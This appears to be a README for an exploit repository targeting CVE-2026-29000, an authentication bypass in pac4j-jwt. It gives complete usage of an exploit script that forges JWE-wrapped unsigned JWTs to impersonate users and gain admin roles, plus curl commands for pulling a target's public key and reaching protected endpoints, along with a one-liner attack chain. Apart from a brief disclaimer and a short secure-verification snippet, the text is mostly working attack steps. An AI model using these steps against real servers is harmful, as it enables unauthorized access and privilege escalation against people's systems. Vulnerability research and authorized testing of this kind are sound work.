
Exploit for CVE-2026-29000, a JWT authentication bypass in pac4j-jwt via JWE-wrapped PlainJWT, allowing token forgery and privilege escalation.
JWT Authentication Bypass in pac4j-jwt via JWE-wrapped PlainJWT
CVE-2026-29000 is a critical authentication bypass vulnerability affecting pac4j-jwt versions prior to 4.5.9, 5.7.9, and 6.3.3. The vulnerability allows remote attackers to forge authentication tokens and bypass signature verification.
The vulnerability exists in the JwtAuthenticator component when processing encrypted JWTs (JWE). When a JWE token is received:
exploit.py - Python exploit script to generate malicious tokensvulnerable_server.py - Demonstration server simulating the vulnerabilityrequirements.txt - Python dependenciesREADME.md - This file# Clone the repository
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000
# Install dependencies
pip3 install -r requirements.txt
python3 vulnerable_server.py
The server will:
server_private.pem and server_public.pem)In a real attack scenario, obtain the public key from the target server:
# Download public key from JWKS endpoint
curl http://target-server.com/jwks > target_jwks.json
# Or direct public key endpoint
curl http://target-server.com/public-key > target_public.pem
For the test server:
curl http://127.0.0.1:5000/public-key > server_public.pem
Use the exploit script to create a JWE-wrapped PlainJWT:
# Basic usage - authenticate as admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
# Authenticate as specific user with multiple roles
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem
# Add custom claims
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","department":"IT"}'
# Save token to file
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
--output malicious_token.txt
# Set the malicious token (copy from exploit.py output)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."
# Access public endpoint (should work)
curl http://127.0.0.1:5000/api/public
# Access user endpoint with malicious token (BYPASS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# Access admin endpoint with malicious token (PRIVILEGE ESCALATION!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
Expected successful output from admin endpoint:
{
"status": "success",
"message": "Admin endpoint accessed - RESTRICTED DATA",
"user": "admin",
"roles": ["ROLE_ADMIN"],
"secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
"admin_info": "This is sensitive administrative data"
}
# 1. Install dependencies
pip3 install -r requirements.txt
# 2. Start vulnerable server (in terminal 1)
python3 vulnerable_server.py
# 3. In a new terminal, get the public key
curl http://127.0.0.1:5000/public-key > server_public.pem
# 4. Generate malicious admin token
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt
# 5. Extract token to variable
TOKEN=$(cat token.txt)
# 6. Test public endpoint (baseline - no auth needed)
curl http://127.0.0.1:5000/api/public
# 7. Test user endpoint (should succeed with our malicious token)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
# 8. Test admin endpoint (EXPLOIT SUCCESS - should access restricted data)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
# 9. Verify the response contains the flag
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
--claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
[--claims CLAIMS] [--generate-keypair] [--output OUTPUT]
CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens
options:
-h, --help show this help message and exit
--subject SUBJECT, -s SUBJECT
Subject (username) to impersonate
--roles ROLES, -r ROLES
Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
--public-key PUBLIC_KEY, -k PUBLIC_KEY
Path to RSA public key PEM file
--claims CLAIMS, -c CLAIMS
Additional claims as JSON string
--generate-keypair, -g
Generate a test RSA keypair and save to files
--output OUTPUT, -o OUTPUT
Output file for the generated token
1. Client sends JWT with signature
2. Server verifies signature with public key
3. If valid, extract claims
4. Grant access based on claims
1. Attacker obtains server's RSA public key
2. Attacker creates PlainJWT (alg: none) with arbitrary claims
Example: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. Attacker encrypts PlainJWT using JWE with server's public key
4. Server decrypts JWE successfully
5. Server extracts claims from inner PlainJWT WITHOUT signature verification
6. Server grants access based on forged claims
The vulnerability occurs because:
def verify_jwe_token_secure(token, private_key):
# 1. Decrypt JWE
inner_jwt = decrypt_jwe(token, private_key)
# 2. Parse inner JWT header
header = parse_jwt_header(inner_jwt)
# 3. CRITICAL: Verify algorithm is not "none"
if header.get('alg') == 'none':
raise SecurityError("PlainJWT not allowed")
# 4. CRITICAL: Verify signature of inner JWT
if not verify_jwt_signature(inner_jwt, public_key):
raise SecurityError("Invalid JWT signature")
# 5. Extract claims only after verification
return extract_claims(inner_jwt)
pip3 install -r requirements.txtpython3 vulnerable_server.pycurl http://127.0.0.1:5000/public-key > server_public.pempython3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pemcurl http://127.0.0.1:5000/api/publiccurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/usercurl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin# One-liner setup and test
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin
This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use this tool only against systems you own or have explicit permission to test.
MIT License - For educational purposes only
Security Researcher Date: 2026-03-16
FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}